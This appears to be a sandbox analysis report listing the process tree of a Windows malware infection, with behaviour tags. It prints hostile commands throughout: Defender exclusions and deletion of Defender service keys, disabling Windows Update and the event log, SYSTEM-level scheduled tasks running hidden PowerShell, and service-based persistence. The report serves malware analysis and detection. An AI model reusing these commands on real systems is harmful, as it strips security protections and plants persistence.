C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3652 -prefsLen 25213 -prefMapHandle 3656 -prefMapSize 270279 -jsInitHandle 3660 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3676 -initialChannelId {39370313-64fe-4c3a-b447-99b6b5942a52} -parentPid 5956 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5956" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab6⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3924 -prefsLen 27325 -prefMapHandle 3928 -prefMapSize 270279 -ipcHandle 3968 -initialChannelId {60bb0e10-32ef-49c1-ad3d-1de7ef3c2f73} -parentPid 5956 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5956" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd6⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2692 -prefsLen 34824 -prefMapHandle 4248 -prefMapSize 270279 -jsInitHandle 4252 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4260 -initialChannelId {9cfa5965-15da-4dc7-be7a-d4beed86d672} -parentPid 5956 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5956" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab6⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4880 -prefsLen 35012 -prefMapHandle 4884 -prefMapSize 270279 -ipcHandle 4924 -initialChannelId {619f6545-731b-4f42-9d6f-61e19319ceff} -parentPid 5956 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5956" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility6⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3036 -prefsLen 32952 -prefMapHandle 3172 -prefMapSize 270279 -jsInitHandle 5100 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5112 -initialChannelId {e065d6f1-9dbd-46df-bfa3-c5a4e1746e55} -parentPid 5956 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5956" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab6⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5356 -prefsLen 32952 -prefMapHandle 5352 -prefMapSize 270279 -jsInitHandle 5348 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5316 -initialChannelId {c3391ac3-3aac-4fd1-a341-7f2ff2f26a79} -parentPid 5956 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5956" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab6⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5328 -prefsLen 32952 -prefMapHandle 5496 -prefMapSize 270279 -jsInitHandle 5500 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5508 -initialChannelId {ab6f59ad-059b-4600-97be-4563ba074f09} -parentPid 5956 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5956" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab6⤵
- Checks processor information in registry
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\12025530101\TXpyp1Y.exe"C:\Users\Admin\AppData\Local\Temp\12025530101\TXpyp1Y.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\12033100101\RKXRn1l.exe"C:\Users\Admin\AppData\Local\Temp\12033100101\RKXRn1l.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
-
-
C:\Users\Admin\AppData\Local\Temp\12036890101\z6HdLiH.exe"C:\Users\Admin\AppData\Local\Temp\12036890101\z6HdLiH.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\12046510101\ef4cf6bdfb.exe"C:\Users\Admin\AppData\Local\Temp\12046510101\ef4cf6bdfb.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\12053970101\kRHhLlh.exe"C:\Users\Admin\AppData\Local\Temp\12053970101\kRHhLlh.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\12054260101\rVYGceP.exe"C:\Users\Admin\AppData\Local\Temp\12054260101\rVYGceP.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\CMD.exeCMD /C "WMIC BIOS GET SERIALNUMBER"4⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC BIOS GET SERIALNUMBER5⤵
-
-
-
C:\Windows\system32\CMD.exeCMD /C "WMIC DISKDRIVE GET SERIALNUMBER"4⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC DISKDRIVE GET SERIALNUMBER5⤵
-
-
-
C:\Windows\system32\CMD.exeCMD /C "WMIC CPU GET ProcessorID"4⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC CPU GET ProcessorID5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\12054260101\rVYGceP.exe"C:\Users\Admin\AppData\Local\Temp\12054260101\rVYGceP.exe" 27500c929e27141dfc222772ba8ee0c4e88190d73412bf20162c7374a481761d9f0ddfb159a3722045c9f4e6943550666e059dbb5a520449c3e26900a2c5a136f184754885d272de8c736b2bb2efbf17db5291ddf4529fd8ab17c89ed32aa7f1290b3c7ee04c265d9e9eadaa82d9854⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\12055430101\candy.exe"C:\Users\Admin\AppData\Local\Temp\12055430101\candy.exe"3⤵
- Downloads MZ/PE file
- Checks computer location settings
- Executes dropped EXE
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "WindowsUpdateService"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "WindowsMonitorTask"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "WindowsSyncService"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "WindowsCheckTask"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "WindowsValidationService"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "WindowsMaintenanceTask"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "WindowsHealthCheck"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "MicrosoftUpdateService"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "MicrosoftMonitorTask"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "MicrosoftSyncService"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "MicrosoftCheckTask"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "MicrosoftValidationService"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "MicrosoftMaintenanceTask"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "MicrosoftHealthCheck"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "SystemUpdateService"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "SystemMonitorTask"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "SystemSyncService"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "SystemCheckTask"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "SystemValidationService"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "SystemMaintenanceTask"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "SystemHealthCheck"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "UpdateUpdateService"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "UpdateMonitorTask"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "UpdateSyncService"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "UpdateCheckTask"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "UpdateValidationService"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "UpdateMaintenanceTask"4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "UpdateHealthCheck"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "SecurityUpdateService"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "SecurityMonitorTask"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "SecuritySyncService"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "SecurityCheckTask"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "SecurityValidationService"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "SecurityMaintenanceTask"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "SecurityHealthCheck"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "DefenderUpdateService"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "DefenderMonitorTask"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "DefenderSyncService"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "DefenderCheckTask"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "DefenderValidationService"4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "DefenderMaintenanceTask"4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Delete /F /TN "DefenderHealthCheck"4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Create /F /SC ONLOGON /TN "DefenderValidationService" /TR "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -File "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\MonitorService.ps1"" /RL HIGHEST /RU SYSTEM4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -File "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\MonitorService.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\12055620101\btZfO26.exe"C:\Users\Admin\AppData\Local\Temp\12055620101\btZfO26.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\12055640101\LdlY2ri.exe"C:\Users\Admin\AppData\Local\Temp\12055640101\LdlY2ri.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\12058910101\xwn3Zn2.exe"C:\Users\Admin\AppData\Local\Temp\12058910101\xwn3Zn2.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Temp\12059900101\b0254c3c47.exe"C:\Users\Admin\AppData\Local\Temp\12059900101\b0254c3c47.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\12059910101\790ae678e2.exe"C:\Users\Admin\AppData\Local\Temp\12059910101\790ae678e2.exe"3⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\svchost015.exe"C:\Users\Admin\AppData\Local\Temp\12059910101\790ae678e2.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\12059920101\LdlY2ri.exe"C:\Users\Admin\AppData\Local\Temp\12059920101\LdlY2ri.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\12059930101\btZfO26.exe"C:\Users\Admin\AppData\Local\Temp\12059930101\btZfO26.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\12059940101\rVYGceP.exe"C:\Users\Admin\AppData\Local\Temp\12059940101\rVYGceP.exe"3⤵
-
C:\Windows\system32\CMD.exeCMD /C "WMIC BIOS GET SERIALNUMBER"4⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC BIOS GET SERIALNUMBER5⤵
-
-
-
C:\Windows\system32\CMD.exeCMD /C "WMIC DISKDRIVE GET SERIALNUMBER"4⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC DISKDRIVE GET SERIALNUMBER5⤵
-
-
-
C:\Windows\system32\CMD.exeCMD /C "WMIC CPU GET ProcessorID"4⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC CPU GET ProcessorID5⤵
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "del C:\Users\Admin\AppData\Local\Temp\12059940101\rVYGceP.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\12059950101\kRHhLlh.exe"C:\Users\Admin\AppData\Local\Temp\12059950101\kRHhLlh.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\12059960101\z6HdLiH.exe"C:\Users\Admin\AppData\Local\Temp\12059960101\z6HdLiH.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\12059970101\RKXRn1l.exe"C:\Users\Admin\AppData\Local\Temp\12059970101\RKXRn1l.exe"3⤵
-
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\12059980271\aTNXbz0.msi" /quiet3⤵
-
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\12059990271\X5P2hQO.msi" /quiet3⤵
-
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\12060000271\YoyvvWi.msi" /quiet3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\12060010101\bf538c618e.exe"C:\Users\Admin\AppData\Local\Temp\12060010101\bf538c618e.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\12060020101\update.exe"C:\Users\Admin\AppData\Local\Temp\12060020101\update.exe"3⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart4⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart5⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe4⤵
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "BBGVOKXP"4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "BBGVOKXP" binpath= "C:\ProgramData\vpguxyntopdh\smkjxilnzidd.exe" start= "auto"4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "BBGVOKXP"4⤵
- Launches sc.exe
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\12060020101\update.exe"4⤵
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 35⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\12060030101\TXpyp1Y.exe"C:\Users\Admin\AppData\Local\Temp\12060030101\TXpyp1Y.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\12060040101\eNLe4nm.exe"C:\Users\Admin\AppData\Local\Temp\12060040101\eNLe4nm.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\12060050101\5GFpJxh.exe"C:\Users\Admin\AppData\Local\Temp\12060050101\5GFpJxh.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\12060060101\candy.exe"C:\Users\Admin\AppData\Local\Temp\12060060101\candy.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\12060070101\xwn3Zn2.exe"C:\Users\Admin\AppData\Local\Temp\12060070101\xwn3Zn2.exe"3⤵
-
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" create BoVyHPh binPath= "C:\Users\Admin\AppData\Local\Temp\random.exe" start= auto DisplayName= "Time Synchronization"2⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" start BoVyHPh2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c schtasks /create /tn "WindowsLogsHelper" /xml "C:\Users\Admin\AppData\Local\Temp\WindowsLogsHelper.xml" /f2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "WindowsLogsHelper" /xml "C:\Users\Admin\AppData\Local\Temp\WindowsLogsHelper.xml" /f3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\systemhelper.exe"C:\Windows\systemhelper.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RFHsRSw.bat" "3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\barer\nircmd.exenircmd win min process "cmd.exe"4⤵
- Executes dropped EXE
-
-
C:\Windows\SysWOW64\chcp.comchcp 650014⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg query "HKU\S-1-5-19"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f4⤵
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
-
-
C:\Users\Admin\AppData\Local\Temp\barer\NSudoLG.exeNSudoLG -U:T -P:E -UseCurrentConsole "C:\Users\Admin\AppData\Local\Temp\RFHsRSw.bat" any_word4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\SysWOW64\mode.comMode 79,494⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ver4⤵
-
-
C:\Windows\SysWOW64\reg.exereg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\find.exefind /i "0x0"4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c tasklist4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\tasklist.exetasklist5⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\SysWOW64\reg.exereg query "HKLM\System\CurrentControlSet\Services\WinDefend"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg query "HKLM\System\CurrentControlSet\Services\MDCoreSvc"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg query "HKLM\System\CurrentControlSet\Services\WdNisSvc"4⤵
-
-
C:\Windows\SysWOW64\reg.exereg query "HKLM\System\CurrentControlSet\Services\Sense"4⤵
-
-
C:\Windows\SysWOW64\reg.exereg query "HKLM\System\CurrentControlSet\Services\wscsvc"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg query "HKLM\System\CurrentControlSet\Services\SgrmBroker"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg query "HKLM\System\CurrentControlSet\Services\SecurityHealthService"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg query "HKLM\System\CurrentControlSet\Services\webthreatdefsvc"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg query "HKLM\System\CurrentControlSet\Services\webthreatdefusersvc"4⤵
-
-
C:\Windows\SysWOW64\reg.exereg query "HKLM\System\CurrentControlSet\Services\WdNisDrv"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg query "HKLM\System\CurrentControlSet\Services\WdBoot"4⤵
-
-
C:\Windows\SysWOW64\reg.exereg query "HKLM\System\CurrentControlSet\Services\WdFilter"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg query "HKLM\System\CurrentControlSet\Services\SgrmAgent"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg query "HKLM\System\CurrentControlSet\Services\MsSecWfp"4⤵
-
-
C:\Windows\SysWOW64\reg.exereg query "HKLM\System\CurrentControlSet\Services\MsSecFlt"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg query "HKLM\System\CurrentControlSet\Services\MsSecCore"4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" ver "4⤵
-
-
C:\Windows\SysWOW64\findstr.exefindstr /c:"6.1.7601"4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v "ProductName"4⤵
-
-
C:\Windows\SysWOW64\find.exefind /i "Windows 7"4⤵
-
-
C:\Windows\SysWOW64\reg.exereg query HKLM\System\CurrentControlset\Services\WdFilter4⤵
- System Location Discovery: System Language Discovery
- Modifies registry key
-
-
C:\Users\Admin\AppData\Local\Temp\barer\7z.exe7z x -aoa -bso0 -bsp1 "land.zip" -p"hueras" "game.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\barer\game.exegame.exe /CurrentDiskSize4⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker5⤵
-
C:\Windows\system32\sc.exesc query IObitUnlocker6⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /f /pid "8064"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /pid "8064"6⤵
- Kills process with taskkill
-
-
-
-
C:\Windows\SysWOW64\sc.exesc stop wuauserv4⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled4⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exesc stop dosvc4⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exesc config dosvc start= disabled4⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\sc.exesc stop bits4⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\sc.exesc config bits start= disabled4⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exesc stop UsoSvc4⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exesc config UsoSvc start= disabled4⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\sc.exesc stop WaaSMedicSvc4⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exesc config WaaSMedicSvc start= disabled4⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v "Start" /t REG_DWORD /d 4 /f4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg load HKLM\TEMP_SYSTEM C:\Windows\System32\config\SYSTEM4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\wuauserv" /v Start /t REG_DWORD /d 4 /f4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\UsoSvc" /v Start /t REG_DWORD /d 4 /f4⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f4⤵
-
-
C:\Windows\SysWOW64\reg.exereg unload HKLM\TEMP_SYSTEM4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\barer\game.exegame /delwd4⤵
- Sets service image path in registry
- Checks computer location settings
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker5⤵
-
C:\Windows\system32\sc.exesc query IObitUnlocker6⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop IObitUnlocker & sc delete IObitUnlocker5⤵
-
C:\Windows\system32\sc.exesc stop IObitUnlocker6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete IObitUnlocker6⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /f /pid "8300"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /pid "8300"6⤵
- Kills process with taskkill
-
-
-
-
C:\Windows\SysWOW64\reg.exereg delete "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /f4⤵
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\barer\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""4⤵
- System Location Discovery: System Language Discovery
-
-
